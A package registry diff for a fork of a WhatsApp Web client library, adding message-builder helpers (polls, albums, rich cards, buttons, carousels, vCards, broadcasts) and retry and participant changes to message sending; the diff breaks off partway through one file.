@alannxd/baileys 6.1.6 → 6.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -4
- package/lib/Socket/chats.js +5 -0
- package/lib/Socket/index.js +3 -1
- package/lib/Socket/message-builder.js +475 -0
- package/lib/Socket/messages-recv.js +1 -1
- package/lib/Socket/messages-send.js +100 -25
- package/lib/Socket/newsletter.js +21 -1
- package/lib/Socket/socket.js +23 -2
- package/lib/Utils/index.js +1 -0
- package/lib/Utils/messages.js +68 -11
- package/lib/Utils/sticker.js +24 -1
- package/lib/Utils/use-sqlite-auth-state.js +162 -0
- package/lib/index.js +1 -1
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -350,10 +350,9 @@ Thanks to the following awesome contributors who help improve this project
|
|
|
350
350
|
</a>
|
|
351
351
|
</td>
|
|
352
352
|
<td align="center">
|
|
353
|
-
<a href="https://github.com/
|
|
354
|
-
<img src="https://github.com/
|
|
355
|
-
<br
|
|
356
|
-
<sub><b>D | Yuukey-7eppeli</b></sub>
|
|
353
|
+
<a href="https://github.com/Xazepysk">
|
|
354
|
+
<img src="https://github.com/XazepysK.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
|
|
355
|
+
<br /><sub><b>Xaz zepysK</b></sub>
|
|
357
356
|
</a>
|
|
358
357
|
</td>
|
|
359
358
|
<td align="center">
|
package/lib/Socket/chats.js
CHANGED
|
@@ -397,6 +397,11 @@ export const makeChatsSocket = (config) => {
|
|
|
397
397
|
return {
|
|
398
398
|
onMutation(mutation) {
|
|
399
399
|
processSyncAction(mutation, ev, authState.creds.me, isInitialSync ? { accountSettings: authState.creds.accountSettings } : undefined, logger);
|
|
400
|
+
const nctSalt = mutation?.syncAction?.value?.nctSaltSyncAction?.salt;
|
|
401
|
+
if (nctSalt?.length) {
|
|
402
|
+
authState.keys.set({ 'nct-salt': { default: Buffer.from(nctSalt) } })
|
|
403
|
+
.catch(err => logger?.debug({ err: err?.message }, 'failed to store nct salt'));
|
|
404
|
+
}
|
|
400
405
|
}
|
|
401
406
|
};
|
|
402
407
|
};
|
package/lib/Socket/index.js
CHANGED
|
@@ -3,6 +3,7 @@ import { makeCommunitiesSocket } from './communities.js';
|
|
|
3
3
|
import { makeInteropSocket } from './interop.js'
|
|
4
4
|
import { makePrivacySocket } from './privacy.js'
|
|
5
5
|
import { makeGraphQLSocket } from './graphql.js'
|
|
6
|
+
import { makeMessageBuilderSocket } from './message-builder.js'
|
|
6
7
|
// export the last socket layer
|
|
7
8
|
const makeWASocket = (config) => {
|
|
8
9
|
const newConfig = {
|
|
@@ -12,7 +13,8 @@ const makeWASocket = (config) => {
|
|
|
12
13
|
const satu = makeCommunitiesSocket(newConfig);
|
|
13
14
|
const dua = makeInteropSocket(satu);
|
|
14
15
|
const tiga = makePrivacySocket(dua);
|
|
15
|
-
|
|
16
|
+
const empat = makeGraphQLSocket(tiga);
|
|
17
|
+
return makeMessageBuilderSocket(empat);
|
|
16
18
|
};
|
|
17
19
|
export default makeWASocket;
|
|
18
20
|
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1,475 @@
|
|
|
1
|
+
import crypto from 'crypto';
|
|
2
|
+
import { proto } from '../../WAProto/index.js';
|
|
3
|
+
import { generateWAMessageFromContent, prepareWAMessageMedia } from '../Utils/index.js';
|
|
4
|
+
|
|
5
|
+
export const makeMessageBuilderSocket = (sock) => {
|
|
6
|
+
const { relayMessage, sendMessage, waUploadToServer } = sock;
|
|
7
|
+
|
|
8
|
+
// per-socket-instance poll state: id -> [{ vote, action }]
|
|
9
|
+
const pollActionStore = new Map();
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Relay an arbitrary raw message content object, bypassing the normal
|
|
13
|
+
* content-type detection in sendMessage(). Useful when you've already
|
|
14
|
+
* built a proto-shaped message (e.g. from generateWAMessageFromContent)
|
|
15
|
+
* and just need it sent as-is.
|
|
16
|
+
*/
|
|
17
|
+
const sendJsonMessage = async (jid, content = {}, options = {}) => {
|
|
18
|
+
const msg = generateWAMessageFromContent(jid, content, {});
|
|
19
|
+
return relayMessage(jid, msg.message, { messageId: msg.key.id, ...options });
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* Sends a WA poll and remembers which "action" each option maps to, so
|
|
24
|
+
* a caller can look up what the voter selected once the vote comes back
|
|
25
|
+
* through a `messages.update` event (see resolvePollAction below).
|
|
26
|
+
*
|
|
27
|
+
* pollOptions: [{ vote: 'Option label', action: 'anything you want back' }]
|
|
28
|
+
*/
|
|
29
|
+
const sendActionPoll = async (jid, name = '', pollOptions = [], options = {}) => {
|
|
30
|
+
const values = pollOptions.map(o => o.vote);
|
|
31
|
+
const pollMsg = await sendMessage(jid, { poll: { name, values, selectableCount: options.selectableCount || 1 } }, options);
|
|
32
|
+
pollActionStore.set(pollMsg.key.id, pollOptions);
|
|
33
|
+
return pollMsg;
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* Given a poll creation message id and the selected option label (as
|
|
38
|
+
* resolved via getAggregateVotesInPollMessage), returns the `action`
|
|
39
|
+
* that was registered for it in sendActionPoll, or undefined if this
|
|
40
|
+
* poll wasn't created through sendActionPoll (or already forgotten).
|
|
41
|
+
*/
|
|
42
|
+
const resolvePollAction = (pollMessageId, selectedVoteLabel) => {
|
|
43
|
+
const options = pollActionStore.get(pollMessageId);
|
|
44
|
+
return options?.find(o => o.vote === selectedVoteLabel)?.action;
|
|
45
|
+
};
|
|
46
|
+
|
|
47
|
+
/**
|
|
48
|
+
* Sends a set of media files as a single WA album (grouped gallery).
|
|
49
|
+
* media: array of local file paths or URLs; extension picks image/video.
|
|
50
|
+
*/
|
|
51
|
+
const sendAlbumMessage = async (jid, media = [], contextInfo = {}) => {
|
|
52
|
+
const albumMsg = generateWAMessageFromContent(jid, proto.Message.fromObject({
|
|
53
|
+
albumMessage: {
|
|
54
|
+
expectedImageCount: media.filter(m => !/\.mp4$/i.test(m)).length,
|
|
55
|
+
expectedVideoCount: media.filter(m => /\.mp4$/i.test(m)).length,
|
|
56
|
+
contextInfo
|
|
57
|
+
}
|
|
58
|
+
}), {});
|
|
59
|
+
|
|
60
|
+
const albumKey = {
|
|
61
|
+
id: await relayMessage(jid, albumMsg.message, { messageId: albumMsg.key.id }),
|
|
62
|
+
remoteJid: jid,
|
|
63
|
+
fromMe: true
|
|
64
|
+
};
|
|
65
|
+
|
|
66
|
+
const keys = { album: albumKey };
|
|
67
|
+
let i = 1;
|
|
68
|
+
|
|
69
|
+
const mimetypes = {
|
|
70
|
+
jpg: 'image/jpeg', jpeg: 'image/jpeg', png: 'image/png',
|
|
71
|
+
gif: 'image/gif', webp: 'image/webp', mp4: 'video/mp4'
|
|
72
|
+
};
|
|
73
|
+
const messagetypes = {
|
|
74
|
+
jpg: 'imageMessage', jpeg: 'imageMessage', png: 'imageMessage',
|
|
75
|
+
gif: 'imageMessage', webp: 'imageMessage', mp4: 'videoMessage'
|
|
76
|
+
};
|
|
77
|
+
|
|
78
|
+
for (const source of media) {
|
|
79
|
+
const ext = source.split('.').pop().toLowerCase();
|
|
80
|
+
const mimetype = mimetypes[ext];
|
|
81
|
+
const type = messagetypes[ext];
|
|
82
|
+
|
|
83
|
+
if (!mimetype || !type) {
|
|
84
|
+
continue;
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const msg = await prepareWAMessageMedia(
|
|
88
|
+
{ [type.startsWith('image') ? 'image' : 'video']: { url: source }, mimetype },
|
|
89
|
+
{ upload: waUploadToServer }
|
|
90
|
+
);
|
|
91
|
+
|
|
92
|
+
const mediaMessage = generateWAMessageFromContent(jid, proto.Message.fromObject({
|
|
93
|
+
associatedChildMessage: {
|
|
94
|
+
message: {
|
|
95
|
+
messageContextInfo: {
|
|
96
|
+
messageSecret: crypto.randomBytes(32),
|
|
97
|
+
messageAssociation: {
|
|
98
|
+
associationType: 'MEDIA_ALBUM',
|
|
99
|
+
parentMessageKey: albumKey
|
|
100
|
+
}
|
|
101
|
+
},
|
|
102
|
+
[type]: { ...msg[type] }
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
}), {});
|
|
106
|
+
|
|
107
|
+
keys[`media_${i++}`] = {
|
|
108
|
+
id: await relayMessage(jid, mediaMessage.message, { messageId: mediaMessage.key.id }),
|
|
109
|
+
fromMe: true,
|
|
110
|
+
remoteJid: jid
|
|
111
|
+
};
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
return keys;
|
|
115
|
+
};
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* Posts `content` to status@broadcast and mentions `jid` in it (i.e. a
|
|
119
|
+
* status update that notifies a specific contact).
|
|
120
|
+
*/
|
|
121
|
+
const sendStatusMention = async (jid, content) => {
|
|
122
|
+
const media = generateWAMessageFromContent('status@broadcast', content, {});
|
|
123
|
+
|
|
124
|
+
const additionalNodes = [
|
|
125
|
+
{
|
|
126
|
+
tag: 'meta',
|
|
127
|
+
attrs: {},
|
|
128
|
+
content: [
|
|
129
|
+
{
|
|
130
|
+
tag: 'mentioned_users',
|
|
131
|
+
attrs: {},
|
|
132
|
+
content: [{ tag: 'to', attrs: { jid }, content: undefined }]
|
|
133
|
+
}
|
|
134
|
+
]
|
|
135
|
+
}
|
|
136
|
+
];
|
|
137
|
+
|
|
138
|
+
await relayMessage('status@broadcast', media.message, {
|
|
139
|
+
messageId: media.key.id,
|
|
140
|
+
statusJidList: [jid, sock.user?.id],
|
|
141
|
+
additionalNodes
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
return media;
|
|
145
|
+
};
|
|
146
|
+
|
|
147
|
+
/**
|
|
148
|
+
* Builds and sends a "rich response" card (WA's GenAI-style unified
|
|
149
|
+
* response widget: optional header image/title, body buttons or a
|
|
150
|
+
* carousel/row of cards, and an optional footer link).
|
|
151
|
+
*
|
|
152
|
+
* content.header: { title, image: { url, mime_type, inline, width, height }, disclaimer, disclaimerText }
|
|
153
|
+
* content.body: { title, buttons: [labels] } OR { carousel|row: true, cards: [{ title, buttons, toast }] }
|
|
154
|
+
* content.footer: { text, url, image }
|
|
155
|
+
*/
|
|
156
|
+
const sendRichResponse = async (jid, content = {}) => {
|
|
157
|
+
const header = content?.header;
|
|
158
|
+
const body = content?.body;
|
|
159
|
+
const footer = content?.footer;
|
|
160
|
+
let messageContextInfo = {};
|
|
161
|
+
const sections = [];
|
|
162
|
+
|
|
163
|
+
if (header) {
|
|
164
|
+
const { disclaimer = false, disclaimerText = ' ', image = { inline: false }, title = '' } = header ?? {};
|
|
165
|
+
|
|
166
|
+
if (disclaimer) {
|
|
167
|
+
messageContextInfo = { messageContextInfo: { botMetadata: { messageDisclaimerText: disclaimerText } } };
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
if (title) {
|
|
171
|
+
sections.push({
|
|
172
|
+
__typename: 'GenAIUnifiedResponseSection',
|
|
173
|
+
view_model: {
|
|
174
|
+
__typename: 'GenAISingleLayoutViewModel',
|
|
175
|
+
primitive: { __typename: 'FOATextPrimitive', text: '# ' + title }
|
|
176
|
+
}
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
if (image?.url) {
|
|
181
|
+
sections.push(image.inline ? {
|
|
182
|
+
__typename: 'GenAIUnifiedResponseSection',
|
|
183
|
+
view_model: {
|
|
184
|
+
__typename: 'GenAISingleLayoutViewModel',
|
|
185
|
+
primitive: {
|
|
186
|
+
__typename: 'GenAIMarkdownTextUXPrimitive',
|
|
187
|
+
text: '{{header}}.{{/header}}',
|
|
188
|
+
inline_entities: [{
|
|
189
|
+
__typename: 'GenAITextInlineEntity',
|
|
190
|
+
key: 'header',
|
|
191
|
+
metadata: {
|
|
192
|
+
__typename: 'GenAILatexItem',
|
|
193
|
+
latex_expression: '.',
|
|
194
|
+
font_height: 24,
|
|
195
|
+
padding: 4,
|
|
196
|
+
latex_image: {
|
|
197
|
+
__typename: 'GenAIMediaItem',
|
|
198
|
+
mime_type: image.mime_type || 'image/png',
|
|
199
|
+
url: image.url,
|
|
200
|
+
url_fallback: image.url,
|
|
201
|
+
width: image.width || 500,
|
|
202
|
+
height: image.height || 500,
|
|
203
|
+
expiration_timestamp_ms: Date.now() + 86400000
|
|
204
|
+
}
|
|
205
|
+
}
|
|
206
|
+
}]
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
} : {
|
|
210
|
+
__typename: 'GenAIUnifiedResponseSection',
|
|
211
|
+
view_model: {
|
|
212
|
+
__typename: 'GenAISingleLayoutViewModel',
|
|
213
|
+
primitive: {
|
|
214
|
+
__typename: 'GenAIImagePrimitive',
|
|
215
|
+
preview_image: { __typename: 'GenAIMediaItem', mime_type: image.mime_type || 'image/png', url: image.url },
|
|
216
|
+
full_image: { __typename: 'GenAIMediaItem', mime_type: image.mime_type || 'image/png', url: image.url }
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
});
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
|
|
223
|
+
if (body) {
|
|
224
|
+
const { cards = null, buttons = null, title = '', toast = '', carousel = false, row = false } = body ?? {};
|
|
225
|
+
|
|
226
|
+
if ((carousel || row) && cards?.length >= 1) {
|
|
227
|
+
sections.push({
|
|
228
|
+
__typename: 'GenAIUnifiedResponseSection',
|
|
229
|
+
view_model: {
|
|
230
|
+
primitives: cards.map((card, cardIndex) => ({
|
|
231
|
+
__typename: 'GenAI3PExtWidgetPrimitive',
|
|
232
|
+
header: { __typename: 'GenAI3PExtWidgetStandardHeader', title: card?.title || '' },
|
|
233
|
+
body: {
|
|
234
|
+
__typename: 'GenAI3PExtCalendarEventList',
|
|
235
|
+
ctas: (card?.buttons || []).map((text, buttonIndex) => ({
|
|
236
|
+
label: text,
|
|
237
|
+
state: 'PENDING',
|
|
238
|
+
kind: 'OTHER',
|
|
239
|
+
tool_call_id: `${cardIndex}${buttonIndex}`,
|
|
240
|
+
toast: { label: card?.toast || '', __typename: 'GenAI3PExtWidgetToast' },
|
|
241
|
+
__typename: 'GenAI3PExtWidgetCTA'
|
|
242
|
+
})),
|
|
243
|
+
sections: []
|
|
244
|
+
}
|
|
245
|
+
})),
|
|
246
|
+
__typename: carousel ? 'GenAIHScrollLayoutViewModel' : 'GenAIActionRowLayoutViewModel'
|
|
247
|
+
}
|
|
248
|
+
});
|
|
249
|
+
} else if (buttons?.length) {
|
|
250
|
+
sections.push({
|
|
251
|
+
__typename: 'GenAIUnifiedResponseSection',
|
|
252
|
+
view_model: {
|
|
253
|
+
primitive: {
|
|
254
|
+
__typename: 'GenAI3PExtWidgetPrimitive',
|
|
255
|
+
header: { __typename: 'GenAI3PExtWidgetStandardHeader', title: title || '' },
|
|
256
|
+
body: {
|
|
257
|
+
__typename: 'GenAI3PExtCalendarEventList',
|
|
258
|
+
ctas: buttons.map((text, buttonIndex) => ({
|
|
259
|
+
label: text,
|
|
260
|
+
state: 'PENDING',
|
|
261
|
+
kind: 'OTHER',
|
|
262
|
+
tool_call_id: `${buttonIndex}`,
|
|
263
|
+
toast: { label: toast, __typename: 'GenAI3PExtWidgetToast' },
|
|
264
|
+
__typename: 'GenAI3PExtWidgetCTA'
|
|
265
|
+
})),
|
|
266
|
+
sections: []
|
|
267
|
+
}
|
|
268
|
+
},
|
|
269
|
+
__typename: 'GenAISingleLayoutViewModel'
|
|
270
|
+
}
|
|
271
|
+
});
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
if (footer) {
|
|
276
|
+
const { text = '', url = '', image = {} } = footer ?? {};
|
|
277
|
+
const img = [];
|
|
278
|
+
if (image?.url) {
|
|
279
|
+
img.push({
|
|
280
|
+
__typename: 'GenAIMarkdownTextUXPrimitive',
|
|
281
|
+
text: '{{header}}.{{/header}}',
|
|
282
|
+
inline_entities: [{
|
|
283
|
+
__typename: 'GenAITextInlineEntity',
|
|
284
|
+
key: 'header',
|
|
285
|
+
metadata: {
|
|
286
|
+
__typename: 'GenAILatexItem',
|
|
287
|
+
latex_expression: '.',
|
|
288
|
+
font_height: 24,
|
|
289
|
+
padding: -5,
|
|
290
|
+
latex_image: {
|
|
291
|
+
__typename: 'GenAIMediaItem',
|
|
292
|
+
mime_type: image.mime_type || 'image/png',
|
|
293
|
+
url: image.url,
|
|
294
|
+
url_fallback: image.url,
|
|
295
|
+
width: image.width || 100,
|
|
296
|
+
height: image.height || 100,
|
|
297
|
+
expiration_timestamp_ms: Date.now() + 86400000
|
|
298
|
+
}
|
|
299
|
+
}
|
|
300
|
+
}]
|
|
301
|
+
});
|
|
302
|
+
}
|
|
303
|
+
sections.push({
|
|
304
|
+
view_model: {
|
|
305
|
+
primitives: [
|
|
306
|
+
{ cta_text: text || '', cta_type: 'OPEN_URL', cta_url: url || '', __typename: 'GenAIFooterActionPrimitive' },
|
|
307
|
+
...img
|
|
308
|
+
],
|
|
309
|
+
__typename: 'GenAIActionRowLayoutViewModel'
|
|
310
|
+
}
|
|
311
|
+
});
|
|
312
|
+
}
|
|
313
|
+
|
|
314
|
+
return sendJsonMessage(jid, {
|
|
315
|
+
...messageContextInfo,
|
|
316
|
+
richResponseMessage: {
|
|
317
|
+
unifiedResponse: { data: Buffer.from(JSON.stringify({ sections })).toString('base64') },
|
|
318
|
+
contextInfo: content?.contextInfo ?? {}
|
|
319
|
+
}
|
|
320
|
+
});
|
|
321
|
+
};
|
|
322
|
+
|
|
323
|
+
/**
|
|
324
|
+
* Sends a native quick-reply buttons message.
|
|
325
|
+
* buttons: [{ id: 'unique_id', text: 'Label' }]
|
|
326
|
+
*/
|
|
327
|
+
const sendButtonsMessage = async (jid, { text = '', footer = '', buttons = [] } = {}, options = {}) => {
|
|
328
|
+
const interactiveMessage = {
|
|
329
|
+
body: { text },
|
|
330
|
+
...(footer ? { footer: { text: footer } } : {}),
|
|
331
|
+
nativeFlowMessage: {
|
|
332
|
+
buttons: buttons.map(b => ({
|
|
333
|
+
name: b.name || 'quick_reply',
|
|
334
|
+
buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id })
|
|
335
|
+
}))
|
|
336
|
+
}
|
|
337
|
+
};
|
|
338
|
+
return sendJsonMessage(jid, { viewOnceMessage: { message: { interactiveMessage } } }, options);
|
|
339
|
+
};
|
|
340
|
+
|
|
341
|
+
/**
|
|
342
|
+
* Sends a native single-select list message.
|
|
343
|
+
* sections: [{ title: 'Section', rows: [{ title, description, id }] }]
|
|
344
|
+
*/
|
|
345
|
+
const sendListMessage = async (jid, { text = '', footer = '', buttonText = 'Menu', sections = [] } = {}, options = {}) => {
|
|
346
|
+
const interactiveMessage = {
|
|
347
|
+
body: { text },
|
|
348
|
+
...(footer ? { footer: { text: footer } } : {}),
|
|
349
|
+
nativeFlowMessage: {
|
|
350
|
+
buttons: [{
|
|
351
|
+
name: 'single_select',
|
|
352
|
+
buttonParamsJson: JSON.stringify({ title: buttonText, sections })
|
|
353
|
+
}]
|
|
354
|
+
}
|
|
355
|
+
};
|
|
356
|
+
return sendJsonMessage(jid, { viewOnceMessage: { message: { interactiveMessage } } }, options);
|
|
357
|
+
};
|
|
358
|
+
|
|
359
|
+
/**
|
|
360
|
+
* Sends a native horizontal-scroll carousel of cards (the correct native
|
|
361
|
+
* mechanism for side-by-side buttons — unlike the GenAI rich-response
|
|
362
|
+
* widget, which is designed as a vertical list).
|
|
363
|
+
* cards: [{ image: 'url or local path', mimetype, title, body, buttons: [{ id, text }] }]
|
|
364
|
+
*/
|
|
365
|
+
const sendCarouselMessage = async (jid, { text = '', footer = '', cards = [] } = {}, options = {}) => {
|
|
366
|
+
const cardMessages = [];
|
|
367
|
+
|
|
368
|
+
for (const card of cards) {
|
|
369
|
+
let headerMedia = {};
|
|
370
|
+
if (card.image) {
|
|
371
|
+
const uploaded = await prepareWAMessageMedia(
|
|
372
|
+
{ image: { url: card.image }, mimetype: card.mimetype || 'image/jpeg' },
|
|
373
|
+
{ upload: waUploadToServer }
|
|
374
|
+
);
|
|
375
|
+
headerMedia = { imageMessage: uploaded.imageMessage };
|
|
376
|
+
}
|
|
377
|
+
|
|
378
|
+
cardMessages.push({
|
|
379
|
+
header: { title: card.title || '', hasMediaAttachment: !!card.image, ...headerMedia },
|
|
380
|
+
body: { text: card.body || '' },
|
|
381
|
+
nativeFlowMessage: {
|
|
382
|
+
buttons: (card.buttons || []).map(b => ({
|
|
383
|
+
name: b.name || 'quick_reply',
|
|
384
|
+
buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id })
|
|
385
|
+
}))
|
|
386
|
+
}
|
|
387
|
+
});
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
const message = {
|
|
391
|
+
viewOnceMessage: {
|
|
392
|
+
message: {
|
|
393
|
+
interactiveMessage: {
|
|
394
|
+
body: { text },
|
|
395
|
+
...(footer ? { footer: { text: footer } } : {}),
|
|
396
|
+
carouselMessage: { cards: cardMessages, messageVersion: 1 }
|
|
397
|
+
}
|
|
398
|
+
}
|
|
399
|
+
}
|
|
400
|
+
};
|
|
401
|
+
return sendJsonMessage(jid, message, options);
|
|
402
|
+
};
|
|
403
|
+
|
|
404
|
+
/**
|
|
405
|
+
* Forwards an existing message (e.g. one pulled from the store) to
|
|
406
|
+
* another chat. Delegates to the library's own forward content builder
|
|
407
|
+
* (sendMessage's `forward` content type) so conversation→extendedText
|
|
408
|
+
* conversion, forwardingScore, and isForwarded are handled correctly
|
|
409
|
+
* instead of being reimplemented here.
|
|
410
|
+
*/
|
|
411
|
+
const forwardMessage = async (jid, message, options = {}) => {
|
|
412
|
+
return sendMessage(jid, { forward: message, force: options.force }, options);
|
|
413
|
+
};
|
|
414
|
+
|
|
415
|
+
/**
|
|
416
|
+
* Builds a proper vCard string and sends it as a contact message.
|
|
417
|
+
* contact: { name, phone (E.164, no '+'), organization, waid }
|
|
418
|
+
* If multiple contacts are given, sends a contactsArrayMessage.
|
|
419
|
+
*/
|
|
420
|
+
const sendVCard = async (jid, contacts, options = {}) => {
|
|
421
|
+
const list = Array.isArray(contacts) ? contacts : [contacts];
|
|
422
|
+
const built = list.map(c => {
|
|
423
|
+
const waid = c.waid || c.phone;
|
|
424
|
+
const vcard = 'BEGIN:VCARD\n'
|
|
425
|
+
+ 'VERSION:3.0\n'
|
|
426
|
+
+ `FN:${c.name || 'Unknown'}\n`
|
|
427
|
+
+ (c.organization ? `ORG:${c.organization};\n` : '')
|
|
428
|
+
+ `TEL;type=CELL;type=VOICE;waid=${waid}:+${c.phone}\n`
|
|
429
|
+
+ 'END:VCARD';
|
|
430
|
+
return { displayName: c.name || 'Unknown', vcard };
|
|
431
|
+
});
|
|
432
|
+
|
|
433
|
+
if (built.length === 1) {
|
|
434
|
+
return sendMessage(jid, { contacts: { contacts: built } }, options);
|
|
435
|
+
}
|
|
436
|
+
return sendMessage(jid, { contacts: { displayName: `${built.length} contacts`, contacts: built } }, options);
|
|
437
|
+
};
|
|
438
|
+
|
|
439
|
+
/**
|
|
440
|
+
* Sends the same content to a list of jids sequentially, with an
|
|
441
|
+
* optional delay between sends (helps avoid rate limiting). Returns
|
|
442
|
+
* an array of { jid, ok, result|error } for each recipient.
|
|
443
|
+
* options.delayMs is stripped before being passed to sendMessage.
|
|
444
|
+
*/
|
|
445
|
+
const broadcastMessage = async (jids, content, options = {}) => {
|
|
446
|
+
const { delayMs = 0, ...sendOptions } = options;
|
|
447
|
+
const results = [];
|
|
448
|
+
for (const jid of jids) {
|
|
449
|
+
try {
|
|
450
|
+
const result = await sendMessage(jid, content, sendOptions);
|
|
451
|
+
results.push({ jid, ok: true, result });
|
|
452
|
+
} catch (error) {
|
|
453
|
+
results.push({ jid, ok: false, error });
|
|
454
|
+
}
|
|
455
|
+
if (delayMs) await new Promise(resolve => setTimeout(resolve, delayMs));
|
|
456
|
+
}
|
|
457
|
+
return results;
|
|
458
|
+
};
|
|
459
|
+
|
|
460
|
+
return {
|
|
461
|
+
...sock,
|
|
462
|
+
sendJsonMessage,
|
|
463
|
+
sendActionPoll,
|
|
464
|
+
resolvePollAction,
|
|
465
|
+
sendAlbumMessage,
|
|
466
|
+
sendStatusMention,
|
|
467
|
+
sendRichResponse,
|
|
468
|
+
sendButtonsMessage,
|
|
469
|
+
sendListMessage,
|
|
470
|
+
sendCarouselMessage,
|
|
471
|
+
forwardMessage,
|
|
472
|
+
sendVCard,
|
|
473
|
+
broadcastMessage
|
|
474
|
+
};
|
|
475
|
+
};
|
|
@@ -1280,7 +1280,7 @@ export const makeMessagesRecvSocket = (config) => {
|
|
|
1280
1280
|
msgRelayOpts.useUserDevicesCache = false;
|
|
1281
1281
|
}
|
|
1282
1282
|
else {
|
|
1283
|
-
msgRelayOpts.
|
|
1283
|
+
msgRelayOpts.participants = {
|
|
1284
1284
|
jid: participant,
|
|
1285
1285
|
count: +retryNode.attrs.count
|
|
1286
1286
|
};
|
|
@@ -12,7 +12,7 @@ import { USyncQuery, USyncUser } from '../WAUSync/index.js';
|
|
|
12
12
|
import { makeUsernameSocket } from './username.js';
|
|
13
13
|
import imup from './luxu.js';
|
|
14
14
|
import * as Utils_1 from '../Utils/index.js';
|
|
15
|
-
import { randomBytes } from 'crypto';
|
|
15
|
+
import { randomBytes, createHmac } from 'crypto';
|
|
16
16
|
export const makeMessagesSocket = (config) => {
|
|
17
17
|
const { logger, linkPreviewImageThumbnailWidth, generateHighQualityLinkPreview, options: httpRequestOptions, patchMessageBeforeSending, cachedGroupMetadata, enableRecentMessageCache, maxMsgRetryCount, aiLabel } = config;
|
|
18
18
|
const sock = makeUsernameSocket(config);
|
|
@@ -433,17 +433,22 @@ export const makeMessagesSocket = (config) => {
|
|
|
433
433
|
message,
|
|
434
434
|
{
|
|
435
435
|
messageId: msgId,
|
|
436
|
-
participant
|
|
436
|
+
participant,
|
|
437
|
+
participants: retryParticipants,
|
|
438
|
+
isSecret,
|
|
439
|
+
protected: protectedSend,
|
|
437
440
|
additionalAttributes,
|
|
438
441
|
additionalNodes,
|
|
439
442
|
useUserDevicesCache,
|
|
440
443
|
useCachedGroupMetadata,
|
|
441
|
-
statusJidList
|
|
444
|
+
statusJidList,
|
|
445
|
+
cstoken = true
|
|
442
446
|
}
|
|
443
447
|
) => {
|
|
444
448
|
const meId = authState.creds.me.id
|
|
445
449
|
const meLid = authState.creds.me?.lid
|
|
446
|
-
const isRetryResend = Boolean(
|
|
450
|
+
const isRetryResend = Boolean(retryParticipants?.jid && retryParticipants?.count != null)
|
|
451
|
+
const isRecipientOnly = Boolean(participant?.jid)
|
|
447
452
|
let shouldIncludeDeviceIdentity = isRetryResend
|
|
448
453
|
const statusJid = 'status@broadcast'
|
|
449
454
|
const { user, server } = jidDecode(jid)
|
|
@@ -468,6 +473,16 @@ export const makeMessagesSocket = (config) => {
|
|
|
468
473
|
messageContextInfo: message.messageContextInfo
|
|
469
474
|
}
|
|
470
475
|
const extraAttrs = {}
|
|
476
|
+
if (isRetryResend) {
|
|
477
|
+
if (!isGroup &&!isStatus) {
|
|
478
|
+
additionalAttributes = { ...additionalAttributes, device_fanout: 'false' }
|
|
479
|
+
}
|
|
480
|
+
const { user: retryUser, device: retryDevice } = jidDecode(retryParticipants.jid)
|
|
481
|
+
devices.push({ user: retryUser, device: retryDevice, jid: retryParticipants.jid })
|
|
482
|
+
}
|
|
483
|
+
if ((isRecipientOnly || isSecret || protectedSend) &&!isGroup &&!isStatus) {
|
|
484
|
+
additionalAttributes = { ...additionalAttributes, device_fanout: 'false' }
|
|
485
|
+
}
|
|
471
486
|
const regexGroupOld = /^(\d{1,15})-(\d+)@g\.us$/
|
|
472
487
|
const messages = normalizeMessageContent(message)
|
|
473
488
|
const buttonType = getButtonType(messages)
|
|
@@ -509,7 +524,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
509
524
|
return groupData
|
|
510
525
|
})(),
|
|
511
526
|
(async () => {
|
|
512
|
-
if (!
|
|
527
|
+
if (!retryParticipants &&!isStatus) {
|
|
513
528
|
const result = await authState.keys.get('sender-key-memory', [jid])
|
|
514
529
|
return result[jid] || {}
|
|
515
530
|
}
|
|
@@ -649,7 +664,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
649
664
|
for (const device of devices) {
|
|
650
665
|
const deviceJid = device.jid
|
|
651
666
|
const hasKey =!!senderKeyMap[deviceJid]
|
|
652
|
-
if (!hasKey ||!!
|
|
667
|
+
if (!hasKey ||!!retryParticipants &&!isHostedLidUser(deviceJid) &&!isHostedPnUser(deviceJid) && device.device!== 99) {
|
|
653
668
|
senderKeyRecipients.push(deviceJid)
|
|
654
669
|
senderKeyMap[deviceJid] = true
|
|
655
670
|
}
|
|
@@ -678,7 +693,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
678
693
|
logger.debug({ to: jid, ownId }, 'Using PN identity for @s.whatsapp.net conversation')
|
|
679
694
|
}
|
|
680
695
|
const { user: ownUser } = jidDecode(ownId)
|
|
681
|
-
if (!
|
|
696
|
+
if (!isRetryResend) {
|
|
682
697
|
const patchedForReporting = await patchMessageBeforeSending(message, [jid])
|
|
683
698
|
reportingMessage = Array.isArray(patchedForReporting)
|
|
684
699
|
? patchedForReporting.find(item => item.recipientJid === jid) || patchedForReporting[0]
|
|
@@ -715,22 +730,25 @@ export const makeMessagesSocket = (config) => {
|
|
|
715
730
|
continue
|
|
716
731
|
}
|
|
717
732
|
const isMe = user === mePnUser || user === meLidUser
|
|
733
|
+
const hasDevice = jid.includes(':')
|
|
718
734
|
let ptcp = false
|
|
719
|
-
if (
|
|
735
|
+
if (retryParticipants) {
|
|
720
736
|
